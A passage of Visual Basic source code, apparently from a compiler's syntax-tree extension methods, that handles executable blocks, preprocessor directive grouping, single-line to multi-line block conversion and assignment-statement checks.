TryCast(node, FinallyBlockSyntax) If finallyBlock IsNot Nothing Then Return finallyBlock.Statements End If Dim caseBlock = TryCast(node, CaseBlockSyntax) If caseBlock IsNot Nothing Then Return caseBlock.Statements End If Dim doLoopBlock = TryCast(node, DoLoopBlockSyntax) If doLoopBlock IsNot Nothing Then Return doLoopBlock.Statements End If Dim forBlock = TryCast(node, ForOrForEachBlockSyntax) If forBlock IsNot Nothing Then Return forBlock.Statements End If Dim singleLineLambdaExpression = TryCast(node, SingleLineLambdaExpressionSyntax) If singleLineLambdaExpression IsNot Nothing Then Return If(TypeOf singleLineLambdaExpression.Body Is StatementSyntax, SyntaxFactory.SingletonList(DirectCast(singleLineLambdaExpression.Body, StatementSyntax)), Nothing) End If Dim multiLineLambdaExpression = TryCast(node, MultiLineLambdaExpressionSyntax) If multiLineLambdaExpression IsNot Nothing Then Return multiLineLambdaExpression.Statements End If throw ExceptionUtilities.UnexpectedValue(node) End Function <Extension()> Friend Function IsAsyncSupportedFunctionSyntax(node As SyntaxNode) As Boolean Select Case node?.Kind() Case _ SyntaxKind.FunctionBlock, SyntaxKind.SubBlock, SyntaxKind.MultiLineFunctionLambdaExpression, SyntaxKind.MultiLineSubLambdaExpression, SyntaxKind.SingleLineFunctionLambdaExpression, SyntaxKind.SingleLineSubLambdaExpression Return True End Select Return False End Function <Extension()> Friend Function IsMultiLineLambda(node As SyntaxNode) As Boolean Return SyntaxFacts.IsMultiLineLambdaExpression(node.Kind()) End Function <Extension()> Friend Function GetTypeCharacterString(type As TypeCharacter) As String Select Case type Case TypeCharacter.Integer Return "%" Case TypeCharacter.Long Return "&" Case TypeCharacter.Decimal Return "@" Case TypeCharacter.Single Return "!" Case TypeCharacter.Double Return "#" Case TypeCharacter.String Return "$" Case Else Throw New ArgumentException("Unexpected TypeCharacter.", NameOf(type)) End Select End Function <Extension()> Public Function SpansPreprocessorDirective(Of TSyntaxNode As SyntaxNode)(list As IEnumerable(Of TSyntaxNode)) As Boolean Return VisualBasicSyntaxFacts.Instance.SpansPreprocessorDirective(list) End Function <Extension()> Public Function ConvertToSingleLine(Of TNode As SyntaxNode)(node As TNode, Optional useElasticTrivia As Boolean = False) As TNode If node Is Nothing Then Return node End If Dim rewriter = New SingleLineRewriter(useElasticTrivia) Return DirectCast(rewriter.Visit(node), TNode) End Function ''' <summary> ''' Breaks up the list of provided nodes, based on how they are ''' interspersed with pp directives, into groups. Within these groups ''' nodes can be moved around safely, without breaking any pp ''' constructs. ''' </summary> <Extension()> Public Function SplitNodesOnPreprocessorBoundaries(Of TSyntaxNode As SyntaxNode)( nodes As IEnumerable(Of TSyntaxNode), cancellationToken As CancellationToken) As IList(Of IList(Of TSyntaxNode)) Dim result = New List(Of IList(Of TSyntaxNode))() Dim currentGroup = New List(Of TSyntaxNode)() For Each node In nodes Dim hasUnmatchedInteriorDirective = node.ContainsInterleavedDirective(cancellationToken) Dim hasLeadingDirective = node.GetLeadingTrivia().Any(Function(t) SyntaxFacts.IsPreprocessorDirective(t.Kind)) If hasUnmatchedInteriorDirective Then ' we have a #if/#endif/#region/#endregion/#else/#elif in ' this node that belongs to a span of pp directives that ' is not entirely contained within the node. i.e.: ' ' void Goo() { ' #if ... ' } ' ' This node cannot be moved at all. It is in a group that ' only contains itself (and thus can never be moved). ' add whatever group we've built up to now. And reset the ' next group to empty. result.Add(currentGroup) currentGroup = New List(Of TSyntaxNode)() result.Add(New List(Of TSyntaxNode) From {node}) ElseIf hasLeadingDirective Then ' We have a PP directive before us. i.e.: ' ' #if ... ' void Goo() { ' ' That means we start a new group that is contained between ' the above directive and the following directive. ' add whatever group we've built up to now. And reset the ' next group to empty. result.Add(currentGroup) currentGroup = New List(Of TSyntaxNode)() currentGroup.Add(node) Else ' simple case. just add ourselves to the current group currentGroup.Add(node) End If Next ' add the remainder of the final group. result.Add(currentGroup) ' Now, filter out any empty groups. result = result.Where(Function(group) Not group.IsEmpty()).ToList() Return result End Function ''' <summary> ''' Returns true if the passed in node contains an interleaved pp ''' directive. ''' ''' i.e. The following returns false: ''' ''' void Goo() { ''' #if true ''' #endif ''' } ''' ''' #if true ''' void Goo() { ''' } ''' #endif ''' ''' but these return true: ''' ''' #if true ''' void Goo() { ''' #endif ''' } ''' ''' void Goo() { ''' #if true ''' } ''' #endif ''' ''' #if true ''' void Goo() { ''' #else ''' } ''' #endif ''' ''' i.e. the method returns true if it contains a PP directive that ''' belongs to a grouping constructs (like #if/#endif or ''' #region/#endregion), but the grouping construct isn't entirely c ''' contained within the span of the node. ''' </summary> <Extension()> Public Function ContainsInterleavedDirective(node As SyntaxNode, cancellationToken As CancellationToken) As Boolean Return VisualBasicSyntaxFacts.Instance.ContainsInterleavedDirective(node, cancellationToken) End Function <Extension> Public Function ContainsInterleavedDirective( token As SyntaxToken, textSpan As TextSpan, cancellationToken As CancellationToken) As Boolean Return ContainsInterleavedDirective(textSpan, token.LeadingTrivia, cancellationToken) OrElse ContainsInterleavedDirective(textSpan, token.TrailingTrivia, cancellationToken) End Function Private Function ContainsInterleavedDirective( textSpan As TextSpan, list As SyntaxTriviaList, cancellationToken As CancellationToken) As Boolean For Each trivia In list If textSpan.Contains(trivia.Span) Then If ContainsInterleavedDirective(textSpan, trivia, cancellationToken) Then Return True End If End If Next trivia Return False End Function Private Function ContainsInterleavedDirective( textSpan As TextSpan, trivia As SyntaxTrivia, cancellationToken As CancellationToken) As Boolean If trivia.HasStructure AndAlso TypeOf trivia.GetStructure() Is DirectiveTriviaSyntax Then Dim parentSpan = trivia.GetStructure().Span Dim directiveSyntax = DirectCast(trivia.GetStructure(), DirectiveTriviaSyntax) If directiveSyntax.IsKind(SyntaxKind.RegionDirectiveTrivia, SyntaxKind.EndRegionDirectiveTrivia, SyntaxKind.IfDirectiveTrivia, SyntaxKind.EndIfDirectiveTrivia) Then Dim match = directiveSyntax.GetMatchingStartOrEndDirective(cancellationToken) If match IsNot Nothing Then Dim matchSpan = match.Span If Not textSpan.Contains(matchSpan.Start) Then ' The match for this pp directive is outside ' this node. Return True End If End If ElseIf directiveSyntax.IsKind(SyntaxKind.ElseDirectiveTrivia, SyntaxKind.ElseIfDirectiveTrivia) Then Dim directives = directiveSyntax.GetMatchingConditionalDirectives(cancellationToken) If directives IsNot Nothing AndAlso directives.Count > 0 Then If Not textSpan.Contains(directives(0).SpanStart) OrElse Not textSpan.Contains(directives(directives.Count - 1).SpanStart) Then ' This else/elif belongs to a pp span that isn't ' entirely within this node. Return True End If End If End If End If Return False End Function <Extension()> Public Function GetLeadingBlankLines(Of TSyntaxNode As SyntaxNode)(node As TSyntaxNode) As ImmutableArray(Of SyntaxTrivia) Return VisualBasicSyntaxFacts.Instance.GetLeadingBlankLines(node) End Function <Extension()> Public Function GetNodeWithoutLeadingBlankLines(Of TSyntaxNode As SyntaxNode)(node As TSyntaxNode) As TSyntaxNode Return VisualBasicSyntaxFacts.Instance.GetNodeWithoutLeadingBlankLines(node) End Function <Extension()> Public Function GetNodeWithoutLeadingBlankLines(Of TSyntaxNode As SyntaxNode)(node As TSyntaxNode, ByRef strippedTrivia As ImmutableArray(Of SyntaxTrivia)) As TSyntaxNode Return VisualBasicSyntaxFacts.Instance.GetNodeWithoutLeadingBlankLines(node, strippedTrivia) End Function <Extension()> Public Function GetLeadingBannerAndPreprocessorDirectives(Of TSyntaxNode As SyntaxNode)(node As TSyntaxNode) As ImmutableArray(Of SyntaxTrivia) Return VisualBasicSyntaxFacts.Instance.GetLeadingBannerAndPreprocessorDirectives(node) End Function <Extension()> Public Function GetNodeWithoutLeadingBannerAndPreprocessorDirectives(Of TSyntaxNode As SyntaxNode)(node As TSyntaxNode) As TSyntaxNode Return VisualBasicSyntaxFacts.Instance.GetNodeWithoutLeadingBannerAndPreprocessorDirectives(node) End Function <Extension()> Public Function GetNodeWithoutLeadingBannerAndPreprocessorDirectives(Of TSyntaxNode As SyntaxNode)(node As TSyntaxNode, ByRef strippedTrivia As ImmutableArray(Of SyntaxTrivia)) As TSyntaxNode Return VisualBasicSyntaxFacts.Instance.GetNodeWithoutLeadingBannerAndPreprocessorDirectives(node, strippedTrivia) End Function ''' <summary> ''' Returns true if this is a block that can contain multiple executable statements. i.e. ''' this node is the VB equivalent of a BlockSyntax in C#. ''' </summary> <Extension()> Public Function IsExecutableBlock(node As SyntaxNode) As Boolean If node IsNot Nothing Then If TypeOf node Is MethodBlockBaseSyntax OrElse TypeOf node Is DoLoopBlockSyntax OrElse TypeOf node Is ForOrForEachBlockSyntax OrElse TypeOf node Is MultiLineLambdaExpressionSyntax Then Return True End If Select Case node.Kind Case SyntaxKind.WhileBlock, SyntaxKind.UsingBlock, SyntaxKind.SyncLockBlock, SyntaxKind.WithBlock, SyntaxKind.SingleLineIfStatement, SyntaxKind.SingleLineElseClause, SyntaxKind.SingleLineSubLambdaExpression, SyntaxKind.MultiLineIfBlock, SyntaxKind.ElseIfBlock, SyntaxKind.ElseBlock, SyntaxKind.TryBlock, SyntaxKind.CatchBlock, SyntaxKind.FinallyBlock, SyntaxKind.CaseBlock, SyntaxKind.CaseElseBlock Return True End Select End If Return False End Function <Extension()> Public Function GetContainingExecutableBlocks(node As SyntaxNode) As IEnumerable(Of SyntaxNode) Return node.GetAncestorsOrThis(Of StatementSyntax). Where(Function(s) s.Parent.IsExecutableBlock() AndAlso s.Parent.GetExecutableBlockStatements().Contains(s)). Select(Function(s) s.Parent) End Function <Extension()> Public Function GetContainingMultiLineExecutableBlocks(node As SyntaxNode) As IEnumerable(Of SyntaxNode) Return node.GetAncestorsOrThis(Of StatementSyntax). Where(Function(s) s.Parent.IsMultiLineExecutableBlock AndAlso s.Parent.GetExecutableBlockStatements().Contains(s)). Select(Function(s) s.Parent) End Function <Extension()> Public Function FindInnermostCommonExecutableBlock(nodes As IEnumerable(Of SyntaxNode)) As SyntaxNode Dim blocks As IEnumerable(Of SyntaxNode) = Nothing For Each node In nodes blocks = If(blocks Is Nothing, node.GetContainingExecutableBlocks(), blocks.Intersect(node.GetContainingExecutableBlocks())) Next Return If(blocks Is Nothing, Nothing, blocks.FirstOrDefault()) End Function <Extension()> Public Function GetExecutableBlockStatements(node As SyntaxNode) As SyntaxList(Of StatementSyntax) If node IsNot Nothing Then If TypeOf node Is MethodBlockBaseSyntax Then Return DirectCast(node, MethodBlockBaseSyntax).Statements ElseIf TypeOf node Is DoLoopBlockSyntax Then Return DirectCast(node, DoLoopBlockSyntax).Statements ElseIf TypeOf node Is ForOrForEachBlockSyntax Then Return DirectCast(node, ForOrForEachBlockSyntax).Statements ElseIf TypeOf node Is MultiLineLambdaExpressionSyntax Then Return DirectCast(node, MultiLineLambdaExpressionSyntax).Statements End If Select Case node.Kind Case SyntaxKind.WhileBlock Return DirectCast(node, WhileBlockSyntax).Statements Case SyntaxKind.UsingBlock Return DirectCast(node, UsingBlockSyntax).Statements Case SyntaxKind.SyncLockBlock Return DirectCast(node, SyncLockBlockSyntax).Statements Case SyntaxKind.WithBlock Return DirectCast(node, WithBlockSyntax).Statements Case SyntaxKind.SingleLineIfStatement Return DirectCast(node, SingleLineIfStatementSyntax).Statements Case SyntaxKind.SingleLineElseClause Return DirectCast(node, SingleLineElseClauseSyntax).Statements Case SyntaxKind.SingleLineSubLambdaExpression Return SyntaxFactory.SingletonList(DirectCast(DirectCast(node, SingleLineLambdaExpressionSyntax).Body, StatementSyntax)) Case SyntaxKind.MultiLineIfBlock Return DirectCast(node, MultiLineIfBlockSyntax).Statements Case SyntaxKind.ElseIfBlock Return DirectCast(node, ElseIfBlockSyntax).Statements Case SyntaxKind.ElseBlock Return DirectCast(node, ElseBlockSyntax).Statements Case SyntaxKind.TryBlock Return DirectCast(node, TryBlockSyntax).Statements Case SyntaxKind.CatchBlock Return DirectCast(node, CatchBlockSyntax).Statements Case SyntaxKind.FinallyBlock Return DirectCast(node, FinallyBlockSyntax).Statements Case SyntaxKind.CaseBlock, SyntaxKind.CaseElseBlock Return DirectCast(node, CaseBlockSyntax).Statements End Select End If Return Nothing End Function ''' <summary> ''' Returns child node or token that contains given position. ''' </summary> ''' <remarks> ''' This is a copy of <see cref="SyntaxNode.ChildThatContainsPosition"/> that also returns the index of the child node. ''' </remarks> <Extension> Friend Function ChildThatContainsPosition(self As SyntaxNode, position As Integer, ByRef childIndex As Integer) As SyntaxNodeOrToken Dim childList = self.ChildNodesAndTokens() Dim left As Integer = 0 Dim right As Integer = childList.Count - 1 While left <= right Dim middle As Integer = left + (right - left) \ 2 Dim node As SyntaxNodeOrToken = childList(middle) Dim span = node.FullSpan If position < span.Start Then right = middle - 1 ElseIf position >= span.End Then left = middle + 1 Else childIndex = middle Return node End If End While Debug.Assert(Not self.FullSpan.Contains(position), "Position is valid. How could we not find a child?") Throw New ArgumentOutOfRangeException(NameOf(position)) End Function <Extension()> Public Function ReplaceStatements(node As SyntaxNode, statements As SyntaxList(Of StatementSyntax), ParamArray annotations As SyntaxAnnotation()) As SyntaxNode Return node.TypeSwitch( Function(x As MethodBlockSyntax) x.WithStatements(statements), Function(x As ConstructorBlockSyntax) x.WithStatements(statements), Function(x As OperatorBlockSyntax) x.WithStatements(statements), Function(x As AccessorBlockSyntax) x.WithStatements(statements), Function(x As DoLoopBlockSyntax) x.WithStatements(statements), Function(x As ForBlockSyntax) x.WithStatements(statements), Function(x As ForEachBlockSyntax) x.WithStatements(statements), Function(x As MultiLineLambdaExpressionSyntax) x.WithStatements(statements), Function(x As WhileBlockSyntax) x.WithStatements(statements), Function(x As UsingBlockSyntax) x.WithStatements(statements), Function(x As SyncLockBlockSyntax) x.WithStatements(statements), Function(x As WithBlockSyntax) x.WithStatements(statements), Function(x As SingleLineIfStatementSyntax) x.WithStatements(statements), Function(x As SingleLineElseClauseSyntax) x.WithStatements(statements), Function(x As SingleLineLambdaExpressionSyntax) ReplaceSingleLineLambdaExpressionStatements(x, statements, annotations), Function(x As MultiLineIfBlockSyntax) x.WithStatements(statements), Function(x As ElseIfBlockSyntax) x.WithStatements(statements), Function(x As ElseBlockSyntax) x.WithStatements(statements), Function(x As TryBlockSyntax) x.WithStatements(statements), Function(x As CatchBlockSyntax) x.WithStatements(statements), Function(x As FinallyBlockSyntax) x.WithStatements(statements), Function(x As CaseBlockSyntax) x.WithStatements(statements)) End Function <Extension()> Public Function ReplaceSingleLineLambdaExpressionStatements( node As SingleLineLambdaExpressionSyntax, statements As SyntaxList(Of StatementSyntax), ParamArray annotations As SyntaxAnnotation()) As SyntaxNode If node.Kind = SyntaxKind.SingleLineSubLambdaExpression Then Dim singleLineLambda = DirectCast(node, SingleLineLambdaExpressionSyntax) If statements.Count = 1 Then Return node.WithBody(statements.First()) Else #If False Then Dim statementsAndSeparators = statements.GetWithSeparators() If statementsAndSeparators.LastOrDefault().IsNode Then statements = Syntax.SeparatedList(Of StatementSyntax)( statementsAndSeparators.Concat(Syntax.Token(SyntaxKind.StatementTerminatorToken))) End If #End If Return SyntaxFactory.MultiLineSubLambdaExpression( singleLineLambda.SubOrFunctionHeader, statements, SyntaxFactory.EndSubStatement()).WithAdditionalAnnotations(annotations) End If End If ' Can't be called on a single line lambda (as it can't have statements for children) Throw New InvalidOperationException() End Function <Extension()> Public Function ReplaceStatements(tree As SyntaxTree, executableBlock As SyntaxNode, statements As SyntaxList(Of StatementSyntax), ParamArray annotations As SyntaxAnnotation()) As SyntaxNode If executableBlock.IsSingleLineExecutableBlock() Then Return ConvertSingleLineToMultiLineExecutableBlock(tree, executableBlock, statements, annotations) End If ' TODO(cyrusn): Implement this. Throw ExceptionUtilities.Unreachable End Function <Extension()> Public Function IsSingleLineExecutableBlock(executableBlock As SyntaxNode) As Boolean Select Case executableBlock.Kind Case SyntaxKind.SingleLineElseClause, SyntaxKind.SingleLineIfStatement, SyntaxKind.SingleLineSubLambdaExpression Return executableBlock.GetExecutableBlockStatements().Count = 1 Case Else Return False End Select End Function <Extension()> Public Function IsMultiLineExecutableBlock(node As SyntaxNode) As Boolean Return node.IsExecutableBlock AndAlso Not node.IsSingleLineExecutableBlock End Function Private Sub UpdateStatements(executableBlock As SyntaxNode, newStatements As SyntaxList(Of StatementSyntax), annotations As SyntaxAnnotation(), ByRef singleLineIf As SingleLineIfStatementSyntax, ByRef multiLineIf As MultiLineIfBlockSyntax) Dim ifStatements As SyntaxList(Of StatementSyntax) Dim elseStatements As SyntaxList(Of StatementSyntax) Select Case executableBlock.Kind Case SyntaxKind.SingleLineIfStatement singleLineIf = DirectCast(executableBlock, SingleLineIfStatementSyntax) ifStatements = newStatements elseStatements = If(singleLineIf.ElseClause Is Nothing, Nothing, singleLineIf.ElseClause.Statements) Case SyntaxKind.SingleLineElseClause singleLineIf = DirectCast(executableBlock.Parent, SingleLineIfStatementSyntax) ifStatements = singleLineIf.Statements elseStatements = newStatements Case Else Return End Select Dim ifStatement = SyntaxFactory.IfStatement(singleLineIf.IfKeyword, singleLineIf.Condition, singleLineIf.ThenKeyword) _ .WithPrependedLeadingTrivia(SyntaxFactory.ElasticMarker).WithAppendedTrailingTrivia(SyntaxFactory.ElasticMarker) Dim elseBlockOpt = If(singleLineIf.ElseClause Is Nothing, Nothing, SyntaxFactory.ElseBlock( SyntaxFactory.ElseStatement(singleLineIf.ElseClause.ElseKeyword).WithAppendedTrailingTrivia(SyntaxFactory.ElasticMarker), elseStatements) _ .WithPrependedLeadingTrivia(SyntaxFactory.ElasticMarker).WithAppendedTrailingTrivia(SyntaxFactory.ElasticMarker)) Dim [endIf] = SyntaxFactory.EndIfStatement(SyntaxFactory.Token(SyntaxKind.EndKeyword), SyntaxFactory.Token(SyntaxKind.IfKeyword)) _ .WithAdditionalAnnotations(annotations) multiLineIf = SyntaxFactory.MultiLineIfBlock( SyntaxFactory.IfStatement(singleLineIf.IfKeyword, singleLineIf.Condition, singleLineIf.ThenKeyword) _ .WithPrependedLeadingTrivia(SyntaxFactory.ElasticMarker).WithAppendedTrailingTrivia(SyntaxFactory.ElasticMarker), ifStatements, Nothing, elseBlockOpt, [endIf]) _ .WithAdditionalAnnotations(annotations) End Sub <Extension()> Public Function ConvertSingleLineToMultiLineExecutableBlock( tree As SyntaxTree, block As SyntaxNode, statements As SyntaxList(Of StatementSyntax), ParamArray annotations As SyntaxAnnotation()) As SyntaxNode Dim oldBlock = block Dim newBlock = block Dim current = block While current.IsSingleLineExecutableBlock() If current.Kind = SyntaxKind.SingleLineIfStatement OrElse current.Kind = SyntaxKind.SingleLineElseClause Then Dim singleLineIf As SingleLineIfStatementSyntax = Nothing Dim multiLineIf As MultiLineIfBlockSyntax = Nothing UpdateStatements(current, statements, annotations, singleLineIf, multiLineIf) statements = SyntaxFactory.List({DirectCast(multiLineIf, StatementSyntax)}) current = singleLineIf.Parent oldBlock = singleLineIf newBlock = multiLineIf ElseIf current.Kind = SyntaxKind.SingleLineSubLambdaExpression Then Dim singleLineLambda = DirectCast(current, SingleLineLambdaExpressionSyntax) Dim multiLineLambda = SyntaxFactory.MultiLineSubLambdaExpression( singleLineLambda.SubOrFunctionHeader, statements, SyntaxFactory.EndSubStatement()).WithAdditionalAnnotations(annotations) current = singleLineLambda.Parent oldBlock = singleLineLambda newBlock = multiLineLambda Exit While Else Exit While End If End While Return tree.GetRoot().ReplaceNode(oldBlock, newBlock) End Function <Extension()> Public Function GetBraces(node As SyntaxNode) As (openBrace As SyntaxToken, closeBrace As SyntaxToken) Return node.TypeSwitch( Function(n As TypeParameterMultipleConstraintClauseSyntax) (n.OpenBraceToken, n.CloseBraceToken), Function(n As ObjectMemberInitializerSyntax) (n.OpenBraceToken, n.CloseBraceToken), Function(n As CollectionInitializerSyntax) (n.OpenBraceToken, n.CloseBraceToken), Function(n As SyntaxNode) CType(Nothing, (SyntaxToken, SyntaxToken))) End Function <Extension()> Public Function GetParentheses(node As SyntaxNode) As ValueTuple(Of SyntaxToken, SyntaxToken) Return node.TypeSwitch( Function(n As TypeParameterListSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As ParameterListSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As ArrayRankSpecifierSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As ParenthesizedExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As GetTypeExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As GetXmlNamespaceExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As CTypeExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As DirectCastExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As TryCastExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As PredefinedCastExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As BinaryConditionalExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As TernaryConditionalExpressionSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As ArgumentListSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As FunctionAggregationSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As TypeArgumentListSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As ExternalSourceDirectiveTriviaSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As ExternalChecksumDirectiveTriviaSyntax) (n.OpenParenToken, n.CloseParenToken), Function(n As SyntaxNode) CType(Nothing, (SyntaxToken, SyntaxToken))) End Function <Extension> Public Function IsLeftSideOfSimpleAssignmentStatement(node As SyntaxNode) As Boolean Return node.IsParentKind(SyntaxKind.SimpleAssignmentStatement) AndAlso DirectCast(node.Parent, AssignmentStatementSyntax).Left Is node End Function <Extension> Public Function IsLeftSideOfAnyAssignmentStatement(node As SyntaxNode) As Boolean Return node IsNot Nothing AndAlso node.Parent.IsAnyAssignmentStatement() AndAlso DirectCast(node.Parent, AssignmentStatementSyntax).Left Is node End Function <Extension> Public Function IsAnyAssignmentStatement(node As SyntaxNode) As Boolean Return node IsNot Nothing AndAlso SyntaxFacts.IsAssignmentStatement(node.Kind) End Function <Extension> Public Function IsLeftSideOfCompoundAssignmentStatement(node As SyntaxNode) As Boolean Return node IsNot Nothing AndAlso node.Parent.IsCompoundAssignmentStatement() AndAlso DirectCast(node.Parent, AssignmentStatementSyntax).Left Is node End Function <Extension> Public Function IsCompoundAssignmentStatement(node As SyntaxNode) As Boolean If node IsNot Nothing Then Select Case node.Kind Case SyntaxKind.AddAssignmentStatement, SyntaxKind.SubtractAssignmentStatement, SyntaxKind.MultiplyAssignmentStatement, SyntaxKind.DivideAssignmentStatement, SyntaxKind.IntegerDivideAssignmentStatement, SyntaxKind.ExponentiateAssignmentStatement, SyntaxKind.LeftShiftAssignmentStatement, SyntaxKind.RightShiftAssignmentStatement, SyntaxKind.ConcatenateAssignmentStatement Return True End Select End If Return False End Function <Extension> Public Function ParentingNodeContainsDiagnostics(node As SyntaxNode) As Boolean Dim topMostStatement = node _ .AncestorsAndSelf() _ .OfType(Of ExecutableStatementSyntax) _ .LastOrDefault() If topMostStatement IsNot Nothing Then Return topMostStatement.ContainsDiagnostics End If Dim topMostExpression = node _ .AncestorsAndSelf() _ .TakeWhile(Function(n) Not TypeOf n Is StatementSyntax) _ .OfType(Of ExpressionSyntax) _ .LastOrDefault() If topMostExpression.Parent IsNot Nothing Then Return topMostExpression.Parent.ContainsDiagnostics End If Return False End Function <Extension()> Public Function CheckTopLevel(node As SyntaxNode, span As TextSpan) As Boolean Dim block = TryCast(node, MethodBlockBaseSyntax) If block IsNot Nothing AndAlso block.ContainsInMethodBlockBody(span) Then Return True End If Dim field = TryCast(node, FieldDeclarationSyntax) If field IsNot Nothing Then For Each declaration In field.Declarators If declaration.Initializer IsNot Nothing AndAlso declaration.Initializer.Span.Contains(span) Then Return True End If Next End If Dim [property] = TryCast(node, PropertyStatementSyntax) If [property] IsNot Nothing AndAlso [property].Initializer IsNot Nothing AndAlso [property].Initializer.Span.Contains(span) Then Return True End If Return False End Function <Extension()> Public Function ContainsInMethodBlockBody(block As MethodBlockBaseSyntax, textSpan As TextSpan) As Boolean If block Is Nothing Then Return False End If Dim blockSpan = TextSpan.FromBounds(block.BlockStatement.Span.End, block.EndBlockStatement.SpanStart) Return blockSpan.Contains(textSpan) End Function <Extension()> Public Function GetMembers(node As SyntaxNode) As SyntaxList(Of StatementSyntax) Dim compilation = TryCast(node, CompilationUnitSyntax) If compilation IsNot Nothing Then Return compilation.Members End If Dim [namespace] = TryCast(node, NamespaceBlockSyntax) If [namespace] IsNot Nothing Then Return [namespace].Members End If Dim type = TryCast(node, TypeBlockSyntax) If type IsNot Nothing Then Return type.Members End If Dim [enum] = TryCast(node, EnumBlockSyntax) If [enum] IsNot Nothing Then Return [enum].Members End If Return Nothing End Function <Extension()> Public Function GetBodies(node As SyntaxNode) As IEnumerable(Of SyntaxNode) Dim method = TryCast(node, MethodBlockBaseSyntax) If method IsNot Nothing Then Return method.Statements End If Dim [event] = TryCast(node, EventBlockSyntax) If [event] IsNot Nothing Then Return [event].Accessors.SelectMany(Function(a) a.Statements) End If Dim [property] = TryCast(node, PropertyBlockSyntax) If [property] IsNot Nothing Then Return [property].Accessors.SelectMany(Function(a) a.Statements) End If Dim field = TryCast(node, FieldDeclarationSyntax) If field IsNot Nothing Then Return field.Declarators.Where(Function(d) d.Initializer IsNot Nothing).Select(Function(d) d.Initializer.Value).WhereNotNull() End If Dim initializer As EqualsValueSyntax = Nothing Dim [enum] = TryCast(node, EnumMemberDeclarationSyntax) If [enum] IsNot Nothing Then initializer = [enum].Initializer End If Dim propStatement = TryCast(node, PropertyStatementSyntax) If propStatement IsNot Nothing Then initializer = propStatement.Initializer End If If initializer IsNot Nothing AndAlso initializer.Value IsNot Nothing Then Return SpecializedCollections.SingletonEnumerable(initializer.Value) End If Return SpecializedCollections.EmptyEnumerable(Of SyntaxNode)() End Function <Extension()> Public Iterator Function GetAliasImportsClauses(root As CompilationUnitSyntax) As IEnumerable(Of SimpleImportsClauseSyntax) For i = 0 To root.Imports.Count - 1 Dim statement = root.Imports(i) For j = 0 To statement.ImportsClauses.Count - 1 Dim importsClause = statement.ImportsClauses(j) If importsClause.Kind = SyntaxKind.SimpleImportsClause Then Dim simpleImportsClause = DirectCast(importsClause, SimpleImportsClauseSyntax) If simpleImportsClause.Alias IsNot Nothing Then Yield simpleImportsClause End If End If Next Next End Function ''' <summary> ''' Given an expression within a tree of <see cref="ConditionalAccessExpressionSyntax"/>s, ''' finds the <see cref="ConditionalAccessExpressionSyntax"/> that it is part of. ''' </summary> ''' <param name="node"></param> ''' <returns></returns> <Extension> Friend Function GetCorrespondingConditionalAccessExpression(node As ExpressionSyntax) As ConditionalAccessExpressionSyntax Dim access As SyntaxNode = node Dim parent As SyntaxNode = access.Parent While parent IsNot Nothing Select Case parent.Kind Case SyntaxKind.DictionaryAccessExpression, SyntaxKind.SimpleMemberAccessExpression If DirectCast(parent, MemberAccessExpressionSyntax).Expression IsNot access Then Return Nothing End If Case SyntaxKind.XmlElementAccessExpression, SyntaxKind.XmlDescendantAccessExpression, SyntaxKind.XmlAttributeAccessExpression If DirectCast(parent, XmlMemberAccessExpressionSyntax).Base IsNot access Then Return Nothing End If Case SyntaxKind.InvocationExpression If DirectCast(parent, InvocationExpressionSyntax).Expression IsNot access Then Return Nothing End If Case SyntaxKind.ConditionalAccessExpression Dim conditional = DirectCast(parent, ConditionalAccessExpressionSyntax) If conditional.WhenNotNull Is access Then Return conditional ElseIf conditional.Expression IsNot access Then Return Nothing End If Case Else Return Nothing End Select access = parent parent = access.Parent End While Return Nothing End Function <Extension> Public Function IsInExpressionTree(node As SyntaxNode, semanticModel As SemanticModel, expressionTypeOpt As INamedTypeSymbol, cancellationToken As CancellationToken) As Boolean If expressionTypeOpt IsNot Nothing Then Dim current = node While current IsNot Nothing If SyntaxFacts.IsSingleLineLambdaExpression(current.Kind) OrElse SyntaxFacts.IsMultiLineLambdaExpression(current.Kind) Then Dim typeInfo = semanticModel.GetTypeInfo(current, cancellationToken) If expressionTypeOpt.Equals(typeInfo.ConvertedType?.OriginalDefinition) Then Return True End If ElseIf TypeOf current Is OrderingSyntax OrElse TypeOf current Is QueryClauseSyntax OrElse TypeOf current Is FunctionAggregationSyntax OrElse TypeOf current Is ExpressionRangeVariableSyntax Then Dim info = semanticModel.GetSymbolInfo(current, cancellationToken) For Each symbol In info.GetAllSymbols() Dim method = TryCast(symbol, IMethodSymbol) If method IsNot Nothing AndAlso method.Parameters.Length > 0 AndAlso expressionTypeOpt.Equals(method.Parameters(0).Type.OriginalDefinition) Then Return True End If Next End If current = current.Parent End While End If Return False End Function <Extension> Public Function GetParameterList(declaration As SyntaxNode) As ParameterListSyntax Select Case declaration.Kind Case SyntaxKind.SubBlock, SyntaxKind.FunctionBlock Return DirectCast(declaration, MethodBlockSyntax).BlockStatement.ParameterList Case SyntaxKind.ConstructorBlock Return DirectCast(declaration, ConstructorBlockSyntax).BlockStatement.ParameterList Case SyntaxKind.OperatorBlock Return DirectCast(declaration, OperatorBlockSyntax).BlockStatement.ParameterList Case SyntaxKind.SubStatement, SyntaxKind.FunctionStatement Return DirectCast(declaration, MethodStatementSyntax).ParameterList Case SyntaxKind.SubNewStatement Return DirectCast(declaration, SubNewStatementSyntax).ParameterList Case SyntaxKind.OperatorStatement Return DirectCast(declaration, OperatorStatementSyntax).ParameterList Case SyntaxKind.DeclareSubStatement, SyntaxKind.DeclareFunctionStatement Return DirectCast(declaration, DeclareStatementSyntax).ParameterList Case SyntaxKind.DelegateSubStatement, SyntaxKind.DelegateFunctionStatement Return DirectCast(declaration, DelegateStatementSyntax).ParameterList Case SyntaxKind.PropertyBlock Return DirectCast(declaration, PropertyBlockSyntax).PropertyStatement.ParameterList Case SyntaxKind.PropertyStatement 